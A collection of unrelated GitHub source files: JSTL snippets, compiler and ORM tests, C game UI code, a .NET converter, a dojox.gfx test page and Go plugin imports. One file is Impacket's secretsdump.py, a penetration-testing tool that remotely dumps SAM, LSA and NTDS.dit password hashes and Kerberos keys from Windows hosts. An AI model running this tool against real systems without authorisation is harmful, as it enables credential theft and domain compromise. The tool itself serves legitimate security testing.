<c:param name="${2}" value="${3}" />
cparam+${4}
</c:import>
snippet curl
<c:url value="${1}" var="${2}" />
<a href="${$2}">${3}</a>
snippet curl+
<c:url value="${1}" var="${2}">
<c:param name="${4}" value="${5}" />
cparam+${6}
</c:url>
<a href="${$2}">${3}</a>
snippet credirect
<c:redirect url="${1}" />
snippet contains
${fn:contains(${1:string}, ${2:substr})}
snippet contains:i
${fn:containsIgnoreCase(${1:string}, ${2:substr})}
snippet endswith
${fn:endsWith(${1:string}, ${2:suffix})}
snippet escape
${fn:escapeXml(${1:string})}
snippet indexof
${fn:indexOf(${1:string}, ${2:substr})}
snippet join
${fn:join(${1:collection}, ${2:delims})}
snippet length
${fn:length(${1:collection_or_string})}
snippet replace
${fn:replace(${1:string}, ${2:substr}, ${3:replace})}
snippet split
${fn:split(${1:string}, ${2:delims})}
snippet startswith
${fn:startsWith(${1:string}, ${2:prefix})}
snippet substr
${fn:substring(${1:string}, ${2:begin}, ${3:end})}
snippet substr:a
${fn:substringAfter(${1:string}, ${2:substr})}
snippet substr:b
${fn:substringBefore(${1:string}, ${2:substr})}
snippet lc
${fn:toLowerCase(${1:string})}
snippet uc
${fn:toUpperCase(${1:string})}
snippet trim
${fn:trim(${1:string})}
|
{
"pile_set_name": "Github"
}
|
// RUN: %clang_cc1 -fsyntax-only -verify -std=c++11 %s
auto f() -> int[32]; // expected-error{{function cannot return array}}
auto g() -> int(int); // expected-error{{function cannot return function}}
auto h() -> auto() -> int; // expected-error{{function cannot return function}}
auto i() -> auto(*)() -> int;
|
{
"pile_set_name": "Github"
}
|
package io.ebeaninternal.server.text.json;
import io.ebean.BaseTestCase;
import io.ebean.Ebean;
import io.ebean.text.json.JsonContext;
import io.ebean.text.json.JsonReadBeanVisitor;
import io.ebean.text.json.JsonReadOptions;
import org.tests.model.basic.Address;
import org.tests.model.basic.Contact;
import org.tests.model.basic.Customer;
import org.tests.model.basic.ResetBasicData;
import org.junit.Test;
import java.io.StringReader;
import java.util.List;
import java.util.Map;
import static org.junit.Assert.assertEquals;
public class TestTextJsonBeanReadVisitor extends BaseTestCase {
@Test
public void test() {
ResetBasicData.reset();
List<Customer> list = Ebean.find(Customer.class)
.select("id, name, status, shippingAddress")
.fetch("billingAddress", "line1, city")
.fetch("billingAddress.country", "*")
.fetch("contacts", "firstName,email")
.order().desc("id")
.findList();
JsonContext json = Ebean.json();
JsonReadOptions options = new JsonReadOptions();
options.addRootVisitor(new CVisitor());
options.addVisitor("contacts", new ContactVisitor());
options.addVisitor("billingAddress", new AVisitor());
options.addVisitor("shippingAddress", new ASVisitor());
String s = json.toJson(list);
List<Customer> mList = json.toList(Customer.class, s, options);
StringReader reader = new StringReader(s);
List<Customer> mList2 = json.toList(Customer.class, reader);
assertEquals(mList.size(), mList2.size());
}
private static class CVisitor implements JsonReadBeanVisitor<Customer> {
@Override
public void visit(Customer bean, Map<String, Object> unmapped) {
bean.getId();
}
}
private static class AVisitor implements JsonReadBeanVisitor<Address> {
@Override
public void visit(Address bean, Map<String, Object> unmapped) {
bean.getId();
}
}
private static class ASVisitor implements JsonReadBeanVisitor<Address> {
@Override
public void visit(Address bean, Map<String, Object> unmapped) {
bean.getId();
}
}
private static class ContactVisitor implements JsonReadBeanVisitor<Contact> {
@Override
public void visit(Contact bean, Map<String, Object> unmapped) {
bean.getId();
}
}
}
|
{
"pile_set_name": "Github"
}
|
#include "message_list.h"
#include "city/message.h"
#include "core/calc.h"
#include "core/image_group.h"
#include "core/lang.h"
#include "graphics/generic_button.h"
#include "graphics/graphics.h"
#include "graphics/image.h"
#include "graphics/image_button.h"
#include "graphics/lang_text.h"
#include "graphics/panel.h"
#include "graphics/scrollbar.h"
#include "graphics/text.h"
#include "graphics/window.h"
#include "input/input.h"
#include "window/city.h"
#include "window/message_dialog.h"
#define MAX_MESSAGES 10
static void button_help(int param1, int param2);
static void button_close(int param1, int param2);
static void button_message(int param1, int param2);
static void button_delete(int param1, int param2);
static void on_scroll(void);
static image_button image_button_help = {
0, 0, 27, 27, IB_NORMAL, GROUP_CONTEXT_ICONS, 0, button_help, button_none, 0, 0, 1
};
static image_button image_button_close = {
0, 0, 24, 24, IB_NORMAL, GROUP_CONTEXT_ICONS, 4, button_close, button_none, 0, 0, 1
};
static generic_button generic_buttons_messages[] = {
{0, 0, 412, 18, button_message, button_delete, 0, 0},
{0, 20, 412, 18, button_message, button_delete, 1, 0},
{0, 40, 412, 18, button_message, button_delete, 2, 0},
{0, 60, 412, 18, button_message, button_delete, 3, 0},
{0, 80, 412, 18, button_message, button_delete, 4, 0},
{0, 100, 412, 18, button_message, button_delete, 5, 0},
{0, 120, 412, 18, button_message, button_delete, 6, 0},
{0, 140, 412, 18, button_message, button_delete, 7, 0},
{0, 160, 412, 18, button_message, button_delete, 8, 0},
{0, 180, 412, 18, button_message, button_delete, 9, 0},
};
static scrollbar_type scrollbar = { 432, 112, 208, on_scroll };
static struct {
int width_blocks;
int height_blocks;
int x_text;
int y_text;
int text_width_blocks;
int text_height_blocks;
int focus_button_id;
} data;
static void init(void)
{
city_message_sort_and_compact();
scrollbar_init(&scrollbar, city_message_scroll_position(), city_message_count() - MAX_MESSAGES);
}
static void draw_background(void)
{
window_city_draw_all();
graphics_in_dialog();
data.width_blocks = 30;
data.height_blocks = 22;
data.x_text = 16;
data.y_text = 112;
data.text_width_blocks = data.width_blocks - 4;
data.text_height_blocks = data.height_blocks - 9;
outer_panel_draw(0, 32, data.width_blocks, data.height_blocks);
lang_text_draw_centered(63, 0, 0, 48, 16 * data.width_blocks, FONT_LARGE_BLACK);
inner_panel_draw(data.x_text, data.y_text, data.text_width_blocks, data.text_height_blocks);
if (city_message_count() > 0) {
lang_text_draw(63, 2, data.x_text + 42, data.y_text - 12, FONT_SMALL_PLAIN);
lang_text_draw(63, 3, data.x_text + 180, data.y_text - 12, FONT_SMALL_PLAIN);
lang_text_draw_multiline(63, 4,
data.x_text + 50, data.y_text + 12 + 16 * data.text_height_blocks,
16 * data.text_width_blocks - 100, FONT_NORMAL_BLACK);
} else {
lang_text_draw_multiline(63, 1,
data.x_text + 16, data.y_text + 80,
16 * data.text_width_blocks - 48, FONT_NORMAL_GREEN);
}
graphics_reset_dialog();
}
static void draw_messages(int total_messages)
{
int max = total_messages < MAX_MESSAGES ? total_messages : MAX_MESSAGES;
int index = scrollbar.scroll_position;
for (int i = 0; i < max; i++, index++) {
const city_message *msg = city_message_get(index);
const lang_message *lang_msg = lang_get_message(city_message_get_text_id(msg->message_type));
int image_offset = 0;
if (lang_msg->message_type == MESSAGE_TYPE_DISASTER) {
image_offset = 2;
}
if (msg->is_read) {
image_draw(image_group(GROUP_MESSAGE_ICON) + 15 + image_offset,
data.x_text + 12, data.y_text + 6 + 20 * i);
} else {
image_draw(image_group(GROUP_MESSAGE_ICON) + 14 + image_offset,
data.x_text + 12, data.y_text + 6 + 20 * i);
}
font_t font = FONT_NORMAL_WHITE;
if (data.focus_button_id == i + 1) {
font = FONT_NORMAL_RED;
}
int width = lang_text_draw(25, msg->month, data.x_text + 42, data.y_text + 8 + 20 * i, font);
lang_text_draw_year(msg->year,
data.x_text + 42 + width, data.y_text + 8 + 20 * i, font);
text_draw(
lang_msg->title.text,
data.x_text + 180, data.y_text + 8 + 20 * i, font, 0);
}
scrollbar_draw(&scrollbar);
}
static void draw_foreground(void)
{
graphics_in_dialog();
image_buttons_draw(16, 32 + 16 * data.height_blocks - 42, &image_button_help, 1);
image_buttons_draw(16 * data.width_blocks - 38, 32 + 16 * data.height_blocks - 36, &image_button_close, 1);
int total_messages = city_message_count();
if (total_messages > 0) {
draw_messages(total_messages);
}
graphics_reset_dialog();
}
static void handle_input(const mouse *m, const hotkeys *h)
{
const mouse *m_dialog = mouse_in_dialog(m);
int old_button_id = data.focus_button_id;
data.focus_button_id = 0;
int button_id;
int handled = image_buttons_handle_mouse(m_dialog, 16, 32 + 16 * data.height_blocks - 42, &image_button_help, 1, &button_id);
if (button_id) {
data.focus_button_id = 11;
}
handled |= image_buttons_handle_mouse(m_dialog, 16 * data.width_blocks - 38,
32 + 16 * data.height_blocks - 36, &image_button_close, 1, &button_id);
if (button_id) {
data.focus_button_id = 12;
}
if (scrollbar_handle_mouse(&scrollbar, m_dialog)) {
data.focus_button_id = 13;
}
handled |= generic_buttons_handle_mouse(m_dialog, data.x_text, data.y_text + 4,
generic_buttons_messages, MAX_MESSAGES, &button_id);
if (!data.focus_button_id) {
data.focus_button_id = button_id;
}
if (button_id && old_button_id != button_id) {
window_invalidate();
}
if (!handled && input_go_back_requested(m, h)) {
button_close(0, 0);
}
}
static void on_scroll(void)
{
city_message_set_scroll_position(scrollbar.scroll_position);
window_invalidate();
}
static void button_help(int param1, int param2)
{
window_message_dialog_show(MESSAGE_DIALOG_MESSAGES, window_city_draw_all);
}
static void button_close(int param1, int param2)
{
window_city_show();
}
static void button_message(int param1, int param2)
{
int id = city_message_set_current(scrollbar.scroll_position + param1);
if (id < city_message_count()) {
const city_message *msg = city_message_get(id);
city_message_mark_read(id);
window_message_dialog_show_city_message(
city_message_get_text_id(msg->message_type),
msg->year, msg->month, msg->param1, msg->param2,
city_message_get_advisor(msg->message_type),
0);
}
}
static void button_delete(int id_to_delete, int param2)
{
int id = city_message_set_current(scrollbar.scroll_position + id_to_delete);
if (id < city_message_count()) {
city_message_delete(id);
scrollbar_update_max(&scrollbar, city_message_count() - MAX_MESSAGES);
window_invalidate();
}
}
static void get_tooltip(tooltip_context *c)
{
if (data.focus_button_id == 11) {
c->text_id = 1;
} else if (data.focus_button_id == 12) {
c->text_id = 2;
} else {
return;
}
c->type = TOOLTIP_BUTTON;
}
void window_message_list_show(void)
{
window_type window = {
WINDOW_MESSAGE_LIST,
draw_background,
draw_foreground,
handle_input,
get_tooltip
};
init();
window_show(&window);
}
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env python
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Performs various techniques to dump hashes from the
# remote machine without executing any agent there.
# For SAM and LSA Secrets (including cached creds)
# we try to read as much as we can from the registry
# and then we save the hives in the target system
# (%SYSTEMROOT%\\Temp dir) and read the rest of the
# data from there.
# For NTDS.dit we either:
# a. Get the domain users list and get its hashes
# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
# call, replicating just the attributes we need.
# b. Extract NTDS.dit via vssadmin executed with the
# smbexec approach.
# It's copied on the temp dir and parsed remotely.
#
# The script initiates the services required for its working
# if they are not available (e.g. Remote Registry, even if it is
# disabled). After the work is done, things are restored to the
# original state.
#
# Author:
# Alberto Solino (@agsolino)
#
# References: Most of the work done by these guys. I just put all
# the pieces together, plus some extra magic.
#
# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
# https://code.google.com/p/creddump/
# https://lab.mediaservice.net/code/cachedump.rb
# https://insecurety.net/?p=768
# http://www.beginningtoseethelight.org/ntsecurity/index.htm
# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
# https://www.passcape.com/index.php?section=blog&cmd=details&id=15
#
from __future__ import division
from __future__ import print_function
import argparse
import codecs
import logging
import os
import sys
from impacket import version
from impacket.examples import logger
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
from impacket.krb5.keytab import Keytab
try:
input = raw_input
except NameError:
pass
class DumpSecrets:
def __init__(self, remoteName, username='', password='', domain='', options=None):
self.__useVSSMethod = options.use_vss
self.__remoteName = remoteName
self.__remoteHost = options.target_ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__smbConnection = None
self.__remoteOps = None
self.__SAMHashes = None
self.__NTDSHashes = None
self.__LSASecrets = None
self.__systemHive = options.system
self.__bootkey = options.bootkey
self.__securityHive = options.security
self.__samHive = options.sam
self.__ntdsFile = options.ntds
self.__history = options.history
self.__noLMHash = True
self.__isRemote = True
self.__outputFileName = options.outputfile
self.__doKerberos = options.k
self.__justDC = options.just_dc
self.__justDCNTLM = options.just_dc_ntlm
self.__justUser = options.just_dc_user
self.__pwdLastSet = options.pwd_last_set
self.__printUserStatus= options.user_status
self.__resumeFileName = options.resumefile
self.__canProcessSAMLSA = True
self.__kdcHost = options.dc_ip
self.__options = options
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def connect(self):
self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
if self.__doKerberos:
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, self.__kdcHost)
else:
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self):
try:
if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
self.__isRemote = False
self.__useVSSMethod = True
if self.__systemHive:
localOperations = LocalOperations(self.__systemHive)
bootKey = localOperations.getBootKey()
if self.__ntdsFile is not None:
# Let's grab target's configuration about LM Hashes storage
self.__noLMHash = localOperations.checkNoLMHashPolicy()
else:
import binascii
bootKey = binascii.unhexlify(self.__bootkey)
else:
self.__isRemote = True
bootKey = None
try:
try:
self.connect()
except Exception as e:
if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
pass
else:
raise
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
self.__remoteOps.setExecMethod(self.__options.exec_method)
if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
self.__remoteOps.enableRegistry()
bootKey = self.__remoteOps.getBootKey()
# Let's check whether target system stores LM Hashes
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
except Exception as e:
self.__canProcessSAMLSA = False
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
and self.__doKerberos is True:
# Giving some hints here when SPN target name validation is set to something different to Off
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/
logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
else:
logging.error('RemoteOperations failed: %s' % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA
if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
try:
if self.__isRemote is True:
SAMFileName = self.__remoteOps.saveSAM()
else:
SAMFileName = self.__samHive
self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
self.__SAMHashes.dump()
if self.__outputFileName is not None:
self.__SAMHashes.export(self.__outputFileName)
except Exception as e:
logging.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__isRemote is True:
SECURITYFileName = self.__remoteOps.saveSECURITY()
else:
SECURITYFileName = self.__securityHive
self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
isRemote=self.__isRemote, history=self.__history)
self.__LSASecrets.dumpCachedHashes()
if self.__outputFileName is not None:
self.__LSASecrets.exportCached(self.__outputFileName)
self.__LSASecrets.dumpSecrets()
if self.__outputFileName is not None:
self.__LSASecrets.exportSecrets(self.__outputFileName)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error('LSA hashes extraction failed: %s' % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
if self.__isRemote is True:
if self.__useVSSMethod and self.__remoteOps is not None:
NTDSFileName = self.__remoteOps.saveNTDS()
else:
NTDSFileName = None
else:
NTDSFileName = self.__ntdsFile
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName, justUser=self.__justUser,
printUserStatus= self.__printUserStatus)
try:
self.__NTDSHashes.dump()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
logging.error(e)
if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
logging.info("You just got that error because there might be some duplicates of the same name. "
"Try specifying the domain name for the user as well. It is important to specify it "
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
elif self.__useVSSMethod is False:
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)
if self.__NTDSHashes is not None:
if isinstance(e, KeyboardInterrupt):
while True:
answer = input("Delete resume session file? [y/N] ")
if answer.upper() == '':
answer = 'N'
break
elif answer.upper() == 'Y':
answer = 'Y'
break
elif answer.upper() == 'N':
answer = 'N'
break
if answer == 'Y':
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
try:
self.cleanup()
except:
pass
def cleanup(self):
logging.info('Cleaning up... ')
if self.__remoteOps:
self.__remoteOps.finish()
if self.__SAMHashes:
self.__SAMHashes.finish()
if self.__LSASecrets:
self.__LSASecrets.finish()
if self.__NTDSHashes:
self.__NTDSHashes.finish()
# Process command-line arguments.
if __name__ == '__main__':
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from "
"the remote machine without executing any agent there.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL'
' (if you want to parse local files)')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-system', action='store', help='SYSTEM hive to parse')
parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive')
parser.add_argument('-security', action='store', help='SECURITY hive to parse')
parser.add_argument('-sam', action='store', help='SAM hive to parse')
parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse')
parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only '
'available to DRSUAPI approach). This file will also be used to keep updating the session\'s '
'state')
parser.add_argument('-outputfile', action='store',
help='base output filename. Extensions will be added for sam, secrets, cached and ntds')
parser.add_argument('-use-vss', action='store_true', default=False,
help='Use the VSS method insead of default DRSUAPI')
parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec '
'method to use at target (only when using -use-vss). Default: smbexec')
group = parser.add_argument_group('display options')
group.add_argument('-just-dc-user', action='store', metavar='USERNAME',
help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. '
'Implies also -just-dc switch')
group.add_argument('-just-dc', action='store_true', default=False,
help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)')
group.add_argument('-just-dc-ntlm', action='store_true', default=False,
help='Extract only NTDS.DIT data (NTLM hashes only)')
group.add_argument('-pwd-last-set', action='store_true', default=False,
help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data')
group.add_argument('-user-status', action='store_true', default=False,
help='Display whether or not the user is disabled')
group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use'
' the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication'
' (128 or 256 bits)')
group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
# Init the example's logger theme
logger.init(options.ts)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in remoteName:
password = password + '@' + remoteName.rpartition('@')[0]
remoteName = remoteName.rpartition('@')[2]
if options.just_dc_user is not None:
if options.use_vss is True:
logging.error('-just-dc-user switch is not supported in VSS mode')
sys.exit(1)
elif options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch')
sys.exit(1)
elif remoteName.upper() == 'LOCAL' and username == '':
logging.error('-just-dc-user not compatible in LOCAL mode')
sys.exit(1)
else:
# Having this switch on implies not asking for anything else.
options.just_dc = True
if options.use_vss is True and options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
sys.exit(1)
if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode')
sys.exit(1)
if remoteName.upper() == 'LOCAL' and username == '':
if options.system is None and options.bootkey is None:
logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check help')
sys.exit(1)
else:
if options.target_ip is None:
options.target_ip = remoteName
if domain is None:
domain = ''
if options.keytab is not None:
Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
options.k = True
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
dumper = DumpSecrets(remoteName, username, password, domain, options)
try:
dumper.dump()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)
|
{
"pile_set_name": "Github"
}
|
/*===================================================================================
*
* Copyright (c) Userware/OpenSilver.net
*
* This file is part of the OpenSilver Runtime (https://opensilver.net), which is
* licensed under the MIT license: https://opensource.org/licenses/MIT
*
* As stated in the MIT license, "the above copyright notice and this permission
* notice shall be included in all copies or substantial portions of the Software."
*
\*====================================================================================*/
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Globalization;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
#if MIGRATION
namespace System.Windows.Media
#else
namespace Windows.UI.Xaml.Media
#endif
{
#if FOR_DESIGN_TIME
/// <summary>
/// Converts a System.Windows.Media.ImageSource to and from other data types.
/// </summary>
public sealed partial class ImageSourceConverter : TypeConverter
{
/// <summary>
/// Determines whether the converter can convert an object of the given type
/// to an instance of System.Windows.Media.ImageSource.</summary>
/// <param name="context">Type context information used to evaluate conversion.</param>
/// <param name="sourceType">The type of the source that is being evaluated for conversion.</param>
/// <returns>
/// true if the converter can convert the provided type to an instance of System.Windows.Media.ImageSource;
/// otherwise, false.
/// </returns>
public override bool CanConvertFrom(ITypeDescriptorContext context, Type sourceType)
{
if (sourceType == typeof(string))
{
return true;
}
return base.CanConvertFrom(context, sourceType);
}
// Exceptions:
// System.ArgumentException:
// context instance is not an System.Windows.Media.ImageSource.
/// <summary>
/// Determines whether an instance of System.Windows.Media.ImageSource can be
/// converted to a different type.
/// </summary>
/// <param name="context">Type context information used to evaluate conversion.</param>
/// <param name="destinationType">The desired type to evaluate the conversion to.</param>
/// <returns>
/// true if the converter can convert this instance of System.Windows.Media.ImageSource;
/// otherwise, false.
/// </returns>
public override bool CanConvertTo(ITypeDescriptorContext context, Type destinationType)
{
return false;
}
// Exceptions:
// System.NotSupportedException:
// value is null or is an invalid type.
/// <summary>
/// Attempts to convert a specified object to an instance of System.Windows.Media.ImageSource.
/// </summary>
/// <param name="context">Type context information used for conversion.</param>
/// <param name="culture">Cultural information that is respected during conversion.</param>
/// <param name="value">The object being converted.</param>
/// <returns>A new instance of System.Windows.Media.ImageSource.</returns>
public override object ConvertFrom(ITypeDescriptorContext context, CultureInfo culture, object value)
{
if (value == null)
throw GetConvertFromException(value);
if (value is string)
return ImageSource.INTERNAL_ConvertFromString((string)value);
return base.ConvertFrom(context, culture, value);
}
// Exceptions:
// System.NotSupportedException:
// value is null or is not a valid type.-or-context instance cannot serialize
// to a string.
/// <summary>
/// Attempts to convert an instance of System.Windows.Media.ImageSource to a
/// specified type.
/// </summary>
/// <param name="context">Context information used for conversion.</param>
/// <param name="culture">Cultural information that is respected during conversion.</param>
/// <param name="value">System.Windows.Media.ImageSource to convert.</param>
/// <param name="destinationType">Type being evaluated for conversion.</param>
/// <returns>A new instance of the destinationType.</returns>
public override object ConvertTo(ITypeDescriptorContext context, CultureInfo culture, object value, Type destinationType)
{
throw new NotImplementedException();
}
}
#endif
}
|
{
"pile_set_name": "Github"
}
|
<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" >
<head>
<title>Testing image 4</title>
<style type="text/css">
@import "../../../dojo/resources/dojo.css";
@import "../../../dijit/tests/css/dijitTests.css";
</style>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script type="text/javascript" src="../../../dojo/dojo.js" djConfig="isDebug: true"></script>
<!--<script type="text/javascript" src="../vml.js"></script>-->
<!--<script type="text/javascript" src="../svg.js"></script>-->
<!--<script type="text/javascript" src="../silverlight.js"></script>-->
<script type="text/javascript">
dojo.require("dojox.gfx");
dojo.require("dojo.colors");
makeShapes = function(){
var g = dojox.gfx, m = g.matrix;
var grid_size = 200, grid_step = 20,
surface = g.createSurface("test", grid_size, grid_size)
for(var i = 0; i <= grid_size; i += grid_step){
surface.createLine({x1: 0, x2: grid_size, y1: i, y2: i}).setStroke("grey");
surface.createLine({y1: 0, y2: grid_size, x1: i, x2: i}).setStroke("grey");
}
var rect1 = surface.createRect({x: 50, y: 50, width: 100, height: 100, r: 5}).setFill("red").setStroke("black");
var img1 = surface.createImage({width: 75, height: 50, src: "images/eugene-sm.jpg"}).
setTransform([m.translate(50, 0), m.rotateg(45)]);
var rect2 = surface.createRect({x: 75, y: 25, width: 50, height: 150, r: 5}).setFill("yellow").setStroke("black");
var img2 = surface.createImage({width: 75, height: 50, src: "images/eugene-sm.jpg"}).
setTransform([m.translate(50, 120), m.rotateg(-45)]);
var rect3 = surface.createRect({x: 25, y: 75, width: 150, height: 50, r: 5}).setFill("green").setStroke("black");
img1.connect("onclick", function(){ alert("image #1"); });
img2.connect("onclick", function(){ alert("image #2"); });
rect1.connect("onclick", function(){ alert("red"); });
rect2.connect("onclick", function(){ alert("yellow"); });
rect3.connect("onclick", function(){ alert("green"); });
};
dojo.addOnLoad(makeShapes);
</script>
</head>
<body>
<h1>dojox.gfx Image event tests</h1>
<p>Note: Silverlight doesn't allow downloading images when run from a file system. This demo should be run from a server.</p>
<div id="test"></div>
<p>That's all Folks!</p>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2013-2016 Sergey Ignatov, Alexander Zolotov, Florin Patan
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.goide.dlv;
import com.goide.GoConstants;
import com.goide.GoFileType;
import com.goide.dlv.breakpoint.DlvBreakpointProperties;
import com.goide.dlv.breakpoint.DlvBreakpointType;
import com.goide.dlv.protocol.DlvRequest;
import com.goide.util.GoUtil;
import com.intellij.execution.ExecutionResult;
import com.intellij.execution.ui.ExecutionConsole;
import com.intellij.icons.AllIcons;
import com.intellij.openapi.Disposable;
import com.intellij.openapi.application.AccessToken;
import com.intellij.openapi.application.ReadAction;
import com.intellij.openapi.diagnostic.Logger;
import com.intellij.openapi.fileTypes.FileType;
import com.intellij.openapi.fileTypes.PlainTextLanguage;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.util.Key;
import com.intellij.openapi.vfs.VirtualFile;
import com.intellij.psi.PsiElement;
import com.intellij.psi.PsiFile;
import com.intellij.psi.PsiFileFactory;
import com.intellij.util.Consumer;
import com.intellij.util.containers.ContainerUtil;
import com.intellij.util.io.socketConnection.ConnectionStatus;
import com.intellij.xdebugger.XDebugSession;
import com.intellij.xdebugger.XSourcePosition;
import com.intellij.xdebugger.breakpoints.XBreakpoint;
import com.intellij.xdebugger.breakpoints.XBreakpointHandler;
